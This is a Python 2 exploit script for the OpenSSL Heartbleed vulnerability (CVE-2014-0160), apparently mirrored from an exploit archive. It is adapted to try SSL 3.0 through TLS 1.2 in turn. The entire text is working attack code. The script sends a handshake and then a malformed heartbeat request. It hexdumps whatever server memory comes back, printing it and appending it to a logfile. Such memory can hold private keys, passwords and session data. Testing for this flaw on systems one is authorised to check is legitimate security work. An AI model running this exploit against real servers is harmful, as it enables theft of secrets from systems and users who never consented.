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- # Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]
- # Date: [2014-04-09]
- # Exploit Author: [Csaba Fitzl]
- # Vendor Homepage: [http://www.openssl.org/]
- # Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]
- # Version: [1.0.1f]
- # Tested on: [N/A]
- # CVE : [2014-0160]
- #!/usr/bin/env python
- # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
- # The author disclaims copyright to this source code.
- # Modified by Csaba Fitzl for multiple SSL / TLS version support
- import sys
- import struct
- import socket
- import time
- import select
- import re
- from optparse import OptionParser
- options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
- options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
- def h2bin(x):
- return x.replace(' ', '').replace('\n', '').decode('hex')
- version = []
- version.append(['SSL 3.0','03 00'])
- version.append(['TLS 1.0','03 01'])
- version.append(['TLS 1.1','03 02'])
- version.append(['TLS 1.2','03 03'])
- def create_hello(version):
- hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
- 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
- bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
- 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
- 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
- c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
- c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
- c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
- c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
- 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
- 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
- 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
- 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
- 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
- 00 0f 00 01 01
- ''')
- return hello
- def create_hb(version):
- hb = h2bin('18 ' + version + ' 00 03 01 40 00')
- return hb
- def hexdump(s):
- logf=open('logfile','a')
- for b in xrange(0, len(s), 16):
- lin = [c for c in s[b : b + 16]]
- hxdat = ' '.join('%02X' % ord(c) for c in lin)
- pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
- print ' %04x: %-48s %s' % (b, hxdat, pdat)
- logf.write('\n %04x: %-48s %s' % (b, hxdat, pdat))
- print
- def recvall(s, length, timeout=5):
- endtime = time.time() + timeout
- rdata = ''
- remain = length
- while remain > 0:
- rtime = endtime - time.time()
- if rtime < 0:
- return None
- r, w, e = select.select([s], [], [], 5)
- if s in r:
- data = s.recv(remain)
- # EOF?
- if not data:
- return None
- rdata += data
- remain -= len(data)
- return rdata
- def recvmsg(s):
- hdr = recvall(s, 5)
- if hdr is None:
- print 'Unexpected EOF receiving record header - server closed connection'
- return None, None, None
- typ, ver, ln = struct.unpack('>BHH', hdr)
- pay = recvall(s, ln, 10)
- if pay is None:
- print 'Unexpected EOF receiving record payload - server closed connection'
- return None, None, None
- print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
- return typ, ver, pay
- def hit_hb(s,hb):
- s.send(hb)
- while True:
- typ, ver, pay = recvmsg(s)
- if typ is None:
- print 'No heartbeat response received, server likely not vulnerable'
- return False
- if typ == 24:
- print 'Received heartbeat response:'
- hexdump(pay)
- if len(pay) > 3:
- print 'WARNING: server returned more data than it should - server is vulnerable!'
- else:
- print 'Server processed malformed heartbeat, but did not return any extra data.'
- return True
- if typ == 21:
- print 'Received alert:'
- hexdump(pay)
- print 'Server returned error, likely not vulnerable'
- return False
- def main():
- opts, args = options.parse_args()
- if len(args) < 1:
- options.print_help()
- return
- for i in range(len(version)):
- print 'Trying ' + version[i][0] + '...'
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- print 'Connecting...'
- sys.stdout.flush()
- s.connect((args[0], opts.port))
- print 'Sending Client Hello...'
- sys.stdout.flush()
- s.send(create_hello(version[i][1]))
- print 'Waiting for Server Hello...'
- sys.stdout.flush()
- while True:
- typ, ver, pay = recvmsg(s)
- if typ == None:
- print 'Server closed connection without sending Server Hello.'
- return
- # Look for server hello done message.
- if typ == 22 and ord(pay[0]) == 0x0E:
- break
- print 'Sending heartbeat request...'
- sys.stdout.flush()
- s.send(create_hb(version[i][1]))
- if hit_hb(s,create_hb(version[i][1])):
- #Stop if vulnerable
- break
- if __name__ == '__main__':
- main()
- # 2A2AA0789BA9D599 1337day.com [2014-04-19] B9C546E8726A004D #
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